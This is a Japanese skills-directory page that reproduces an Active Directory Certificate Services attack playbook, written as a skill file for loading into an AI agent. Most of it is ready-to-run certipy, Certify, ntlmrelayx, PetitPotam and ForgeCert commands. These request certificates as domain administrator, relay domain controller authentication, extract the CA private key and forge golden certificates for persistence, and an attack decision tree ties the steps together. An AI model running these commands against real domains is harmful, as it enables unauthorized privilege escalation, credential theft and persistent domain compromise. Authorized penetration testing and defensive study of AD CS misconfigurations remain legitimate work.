Agent Skills by ALSEL
Anthropic Claudeその他⭐ リポ 0品質スコア 50/100

active-directory-certificate-services

AD Certificate Servicesに対する攻撃プレイブック。ESC1〜ESC13のテンプレート悪用、NTLMリレーによる証明書登録、CAオフィサー権限の濫用、証明書を利用した永続化など、設定ミスのあるAD CSを標的に権限昇格を行う際に使用します。

description の原文を見る

>- AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

SKILL.md 本文

SKILL: AD CS 攻撃プレイブック — エキスパートガイド

AI LOAD INSTRUCTION: Expert AD CS (Active Directory Certificate Services) 攻撃テクニック。ESC1 から ESC13、証明書ベースの永続化、登録エンドポイントへの NTLM リレー、CA 設定ミスをカバーします。ベースモデルは登録前提条件チェーンと ESC 条件組み合わせを見落とします。

0. 関連ルーティング

深掘りする前に、以下の読み込みを検討してください:

  • active-directory-acl-abuse — ESC4 (テンプレート変更) を有効にする ACL ベース攻撃用
  • active-directory-kerberos-attacks — 証明書取得後の Kerberos テクニック用
  • ntlm-relay-coercion — ESC8 (HTTP 登録エンドポイントへのリレー) 用
  • windows-lateral-movement — 取得した証明書によるラテラルムーブメント用

高度な参考資料

以下の場合に ADCS_ESC_MATRIX.md も読み込んでください:

  • ESC1–ESC13 クイックリファレンステーブル (条件、影響、ツールコマンド付き)
  • ESC バリアント別のワンライナー悪用コマンド
  • テクニック別の検出インジケータ

1. AD CS アーキテクチャ概要

Certificate Authority (CA)
│
├── Enterprise CA (AD 統合、テンプレートに基づいて証明書を発行)
│   ├── Certificate Templates (登録可能者、EKU、サブジェクト設定を定義)
│   ├── 登録エンドポイント: HTTP (certsrv)、RPC、DCOM
│   └── AD に公開: CN=Public Key Services,CN=Services,CN=Configuration
│
├── テンプレートの主要設定:
│   ├── Subject Alternative Name (SAN): 証明書が表す対象者
│   ├── Extended Key Usage (EKU): 証明書で許可される用途
│   ├── 登録権限: 登録可能なユーザー
│   └── 発行要件: 管理者承認、認可署名
│
└── 証明書 → Kerberos 認証フロー:
    ユーザーが証明書を提示 → PKINIT → KDC が検証 → TGT を発行

2. 列挙

# Certipy (推奨 — 包括的)
certipy find -u user@domain.com -p password -dc-ip DC_IP -stdout
certipy find -u user@domain.com -p password -dc-ip DC_IP -vulnerable -stdout

# Certify (Windows から)
Certify.exe find
Certify.exe find /vulnerable
Certify.exe cas                    # CA を列挙

# テンプレートの手動 LDAP クエリ
ldapsearch -H ldap://DC_IP -D "user@domain.com" -w password \
  -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \
  "(objectClass=pKICertificateTemplate)" cn msPKI-Certificate-Name-Flag pKIExtendedKeyUsage

3. ESC1 — 登録者がサブジェクトを指定

条件: テンプレートが登録者に Subject Alternative Name (SAN) + クライアント認証 EKU + 低権限登録を許可している。

# Certipy
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
  -template VulnTemplate -upn administrator@domain.com

# Certify (Windows)
Certify.exe request /ca:CA-NAME /template:VulnTemplate /altname:administrator

# 証明書で認証
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# → administrator の NT ハッシュ

4. ESC2 — ANY PURPOSE EKU

条件: テンプレートが「Any Purpose」EKU を持つか、EKU が無い (従属 CA 証明書) + 低権限登録。

# ESC1 と同じ悪用方法
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
  -template AnyPurposeTemplate -upn administrator@domain.com

5. ESC3 — 登録エージェント

条件: テンプレートが登録エージェント証明書を許可し、別のテンプレートが他ユーザーに代わって登録を許可している。

# ステップ 1: 登録エージェント証明書をリクエスト
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
  -template EnrollmentAgent

# ステップ 2: 登録エージェント証明書を使用して管理者に代わってリクエスト
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
  -template UserTemplate -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx

# 認証
certipy auth -pfx administrator.pfx -dc-ip DC_IP

6. ESC4 — テンプレート ACL 設定ミス

条件: 低権限ユーザーが証明書テンプレートオブジェクトへの書き込みアクセス権を持つ。

# テンプレートを修正して ESC1 脆弱性を持つようにする
# Certipy を使用:
certipy template -u user@domain.com -p password -template VulnTemplate \
  -save-old -dc-ip DC_IP

# テンプレートが ESC1 に → ESC1 として悪用
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
  -template VulnTemplate -upn administrator@domain.com

# 元のテンプレートを復元 (クリーンアップ)
certipy template -u user@domain.com -p password -template VulnTemplate \
  -configuration old_config.json -dc-ip DC_IP

7. ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

条件: CA が EDITF_ATTRIBUTESUBJECTALTNAME2 フラグを有効にしている → すべてのテンプレートが ESC1 になる。

# フラグが設定されているかチェック
certutil -config "CA_HOST\CA-NAME" -getreg policy\EditFlags

# 悪用: 任意のテンプレートを SAN でリクエスト
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
  -template User -upn administrator@domain.com

8. ESC7 — CA 責任者 / 管理者権限

条件: ユーザーが CA に対して ManageCA または ManageCertificates 権限を持つ。

# ManageCA: SubCA テンプレートを有効化 (常に SAN を許可)
certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \
  -enable-template SubCA

# 管理者 SAN で SubCA 証明書をリクエスト (拒否される — 「保留中」)
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
  -template SubCA -upn administrator@domain.com

# ManageCertificates: 保留中のリクエストを承認
certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \
  -issue-request REQUEST_ID

# 発行された証明書を取得
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
  -retrieve REQUEST_ID

9. ESC8 — HTTP 登録エンドポイントへの NTLM リレー

条件: CA が HTTPS 強制なしで HTTP 登録エンドポイント (certsrv) を持つ。

# 登録エンドポイントへのリレーをセットアップ
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# DC 認証を強制 (PetitPotam、PrinterBug など)
PetitPotam.py RELAY_HOST DC01.domain.com

# DC が認証 → リレー → DC01$ の証明書が発行される
# 証明書で認証
certipy auth -pfx dc01.pfx -dc-ip DC_IP
# → DC01$ ハッシュ → DCSync

10. ESC9-ESC13 — 最新の発見

ESC9: セキュリティ拡張なし (StrongCertificateBindingEnforcement = 0/1)

CT_FLAG_NO_SECURITY_EXTENSION が設定されている場合、弱い証明書マッピングが なりすまし を許可する。

# 被害者の UPN を管理者に変更、証明書をリクエスト、戻す
certipy shadow auto -u attacker@domain.com -p pass -account victim -dc-ip DC_IP

ESC10: 弱い証明書マッピング (レジストリベース)

ESC9 と同様だが、DC 上の CertificateMappingMethods レジストリ値を悪用する。

ESC11: RPC 登録への NTLM リレー

CA の RPC インターフェースへの NTLM をリレー (IF_ENFORCEENCRYPTICERTREQUEST が設定されていない場合)。

ntlmrelayx.py -t "rpc://CA_HOST" -rpc-mode ICPR -icpr-ca-name "CA-NAME" \
  -smb2support --adcs --template DomainController

ESC13: OID グループリンク (発行ポリシー)

テンプレートの発行ポリシー OID がグループにリンク → 証明書がそのグループメンバーシップを付与する。

certipy req -u user@domain.com -p pass -ca CA-NAME -target CA_HOST \
  -template ESC13Template
# 証明書がリンク先グループのメンバーシップを付与

11. 証明書ベースの永続化

ゴールデン証明書

CA 秘密鍵を使用 → 任意の証明書を偽造。

# CA 秘密鍵を抽出 (CA サーバー上で管理者権限が必要)
certipy ca -backup -u admin@domain.com -p password -ca CA-NAME -target CA_HOST

# 任意のユーザーの証明書を偽造
certipy forge -ca-pfx ca.pfx -upn administrator@domain.com -subject "CN=Administrator,CN=Users,DC=domain,DC=com"

# 偽造証明書で認証
certipy auth -pfx forged.pfx -dc-ip DC_IP

永続化: CA 証明書の有効期限切れまで、または CA 秘密鍵ローテーションまで有効。

ForgeCert (Windows)

ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "pass" --Subject "CN=User" \
  --SubjectAltName "administrator@domain.com" --NewCertPath forged.pfx --NewCertPassword "pass"

12. AD CS 攻撃判定ツリー

AD CS を対象とする
│
├── 列挙: certipy find -vulnerable
│
├── 脆弱なテンプレートが見つかった?
│   ├── 登録者が SAN + クライアント認証 EKU を設定可能?
│   │   └── ESC1 → 管理者 UPN で証明書をリクエスト (§3)
│   ├── Any Purpose EKU?
│   │   └── ESC2 → ESC1 と同じ (§4)
│   ├── 登録エージェントテンプレートが利用可能?
│   │   └── ESC3 → エージェントとして登録、その後代理人として登録 (§5)
│   └── 発行ポリシーに OID グループリンク?
│       └── ESC13 → グループメンバーシップ用の証明書をリクエスト (§10)
│
├── テンプレートへの書き込みアクセス?
│   └── ESC4 → テンプレートを修正して ESC1 条件にする (§6)
│
├── CA 設定ミス?
│   ├── EDITF_ATTRIBUTESUBJECTALTNAME2 フラグ?
│   │   └── ESC6 → 任意のテンプレートが ESC1 になる (§7)
│   ├── ManageCA / ManageCertificates 権限?
│   │   └── ESC7 → SubCA テンプレートを有効化、リクエストを承認 (§8)
│   └── HTTPS なしの HTTP 登録?
│       └── ESC8 → certsrv への NTLM リレー (§9)
│
├── DC 上の弱い証明書マッピング?
│   ├── StrongCertificateBindingEnforcement < 2?
│   │   └── ESC9 → UPN 操作 + 証明書リクエスト (§10)
│   └── CertificateMappingMethods 設定ミス?
│       └── ESC10 → 同様の UPN 悪用 (§10)
│
├── 暗号化なしの RPC 登録?
│   └── ESC11 → RPC への NTLM リレー (§10)
│
└── すでに CA 管理者?
    └── 永続化のためのゴールデン証明書 (§11)

ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ

詳細情報

作者
yaklang
リポジトリ
yaklang/hack-skills
ライセンス
MIT
最終更新
不明

Source: https://github.com/yaklang/hack-skills / ライセンス: MIT

関連スキル

汎用その他⭐ リポ 1,982

superfluid

Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper

by LeoYeAI
汎用その他⭐ リポ 100

civ-finish-quotes

実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。

by huxiuhan
汎用その他⭐ リポ 1,110

nookplot

Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。

by BankrBot
汎用その他⭐ リポ 59

web3-polymarket

Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。

by elophanto
汎用その他⭐ リポ 52

ethskills

Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。

by jiayaoqijia
汎用その他⭐ リポ 44

xxyy-trade

このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。

by Jimmy-Holiday
本サイトは GitHub 上で公開されているオープンソースの SKILL.md ファイルをクロール・インデックス化したものです。 各スキルの著作権は原作者に帰属します。掲載に問題がある場合は info@alsel.co.jp または /takedown フォームよりご連絡ください。
原作者: yaklang · yaklang/hack-skills · ライセンス: MIT